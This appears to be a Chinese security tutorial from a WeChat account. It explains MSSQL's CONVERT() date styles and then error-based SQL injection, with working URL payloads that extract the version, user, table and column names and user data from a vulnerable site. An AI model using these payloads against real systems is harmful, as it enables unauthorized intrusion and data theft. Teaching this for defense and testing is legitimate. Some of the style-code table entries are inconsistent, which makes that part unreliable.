本公众号提供的资料和信息仅供学习交流,不得用于非法用途;
对于因使用本公众号内容而产生的任何直接或间接损失,本公众号不承担任何责任;
本公众号尊重他人的知识产权,如有侵犯您的合法权益,请及时联系我们,我们将尽快处理。
一、CONVERT()函数介绍
- 功能
- 在Mssql中
CONVERT()
函数是把日期转换为新数据类型的通用函数。 CONVERT()
函数可以用不同的格式显示日期/时间数据。
- 语法:
CONVERT(data_type(length),expression,style)
data_type(length) |
规定目标数据类型(带有可选的长度)。 |
expression |
规定需要转换的值。 |
style |
规定日期/时间的输出格式。 |
style
值及其对应的日期和时间格式
- Style ID:用于指定日期和/或时间值的具体输出格式。不同的数字代表不同的日期和时间格式。例如,
101
表示美国常用的mm/dd/yyyy
格式,而112
则表示紧凑型的yyyymmdd
格式。 - 通过指定合适的Style ID,可以控制日期和时间是如何被转换成字符串的,或者反过来,从字符串解析为日期/时间类型。这在处理不同地区性数据或需要以特定格式展示日期和时间信息时特别有用。例如:
- 使用Style ID
103
,日期会被格式化为dd/mm/yy
形式。 - 使用Style ID
120
,日期和时间将以yyyy-mm-dd hh:mi:ss
(24小时制)的形式显示。
Style ID |
Style 格式 |
描述 |
100 或 0 |
mon dd yyyy hh:miAM(或者 PM) |
完整日期和12小时制时间,带AM/PM标记 |
101 |
mm/dd/yy |
美国日期格式,月/日/年 |
102 |
yy.mm.dd |
年.月.日格式 |
103 |
dd/mm/yy |
欧洲常见日期格式,日/月/年 |
104 |
dd.mm.yy |
德国常见日期格式,日.月.年 |
105 |
dd-mm-yy |
日-月-年格式 |
106 |
dd mon yy |
日 月份缩写 年 |
107 |
Mon dd, yy |
月份缩写 日, 年 |
108 |
hh:mm:ss |
24小时制时间格式 |
109 或 9 |
mon dd yyyy hh:mi:ss:mmmAM(或者 PM) |
完整日期和时间,含毫秒,12小时制,带AM/PM标记 |
110 |
mm-dd-yy |
月-日-年格式 |
111 |
yy/mm/dd |
年/月/日格式 |
112 |
yymmdd |
紧凑的年月日格式 |
113 或 13 |
dd mon yyyy hh:mm:ss:mmm(24h) |
完整日期和精确到毫秒的时间,24小时制 |
114 |
hh:mi:ss:mmm(24h) |
精确到毫秒的时间,24小时制 |
120 或 20 |
yyyy-mm-dd hh:mi:ss(24h) |
ISO 8601格式日期时间,24小时制 |
121 或 21 |
yyyy-mm-dd hh:mi:ss.mmm(24h) |
ISO 8601格式日期时间,带毫秒,24小时制 |
126 |
yyyy-mm-ddThh:mm:ss.mmm(没有空格) |
XML格式的日期时间,不含空格 |
130 |
dd mon yyyy hh:mi:ss:mmmAM |
完整日期和时间,含毫秒,12小时制,阿拉伯数字格式 |
131 |
dd/mm/yy hh:mi:ss:mmmAM |
日/月/年 时:分:秒:毫秒,12小时制,带AM标记 |
- 用法示例
//输出25
SELECT CONVERT(INT, 25.65);
//输出Apr 15 2021 7:59AM
SELECT CONVERT(VARCHAR(19),GETDATE())
//输出04-15-21
SELECT CONVERT(VARCHAR(10),GETDATE(),10)
//输出04-15-2021
SELECT CONVERT(VARCHAR(10),GETDATE(),110)
//输出15 Apr 21
SELECT CONVERT(VARCHAR(11),GETDATE(),6)
//输出15 Apr 2021
SELECT CONVERT(VARCHAR(11),GETDATE(),106)
//输出15 Apr 2021 08:03:37:767
SELECT CONVERT(VARCHAR(24),GETDATE(),113)
二、报错注入原理
CONVERT()
函数在MSSQL中被视为用于显式转换数据类型的函数,是因为它允许用户明确指定将一个表达式从一种数据类型转换为另一种数据类型,这种转换不是自动发生的,而是根据用户的直接指示进行的,因此称为“显式”转换。- 触发错误泄露数据:通过将子查询结果作为
CONVERT()
的输入,并强制转换为不兼容的类型(如字符串转INT
),使数据库抛出错误。错误信息中会直接暴露子查询的结果。 - 比如:
select convert(int,@@version)
这个语句,convert
函数会先执行第二个参数(@@version
)指定的SQL查询,然后尝试将查询结果转换为int
类型。- 由于这个SQL查询的结果是
varchar
类型,无法进行指定的转换,所以,convert
函数会抛出SQL server
错误消息,指出“SQL查询结果”无法转换为int
类型,此时报错的内容就会带有攻击者所查询的结果。
- 通过
CONVERT()
函数进行报错注入的本质是通过强制类型转换失败,使数据库返回包含敏感数据的错误信息。 - 拓展:其它同类型函数
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()
三、注入过程
探测注入点
- 构造一个必然触发类型转换错误的Payload,观察是否返回详细错误信息
?id=1' and 1=convert(int, 'test')--+
查询数据库版本信息
?id=1' and 1=convert(int,@@version)--+
查询当前数据库名
?id=1' and 1=convert(int,db_name())--+
查询当前用户名
?id=1' and 1=convert(int,user)--+
查询有关服务器主机的信息
?id=1' and 1=convert(int,@@SERVERNAME)--+
查询当前数据库的表名
//查询当前数据库中所有表名,并提取第1条记录
?id=1' and 1=convert(int,(select top 1 name from sysobjects where xtype='u'))--+
查询表的列名(字段名)
//从uers表中提取第一列的名称
?id=1' and 1=convert(int,(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users')))--+
查询表数据
//查询username这一列的第二段数据
?id=1' and 1=convert(int,(select top 1 username from users where username !='Dumb'))--+
原文始发于微信公众号(SecurePulse):显式类型转换
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论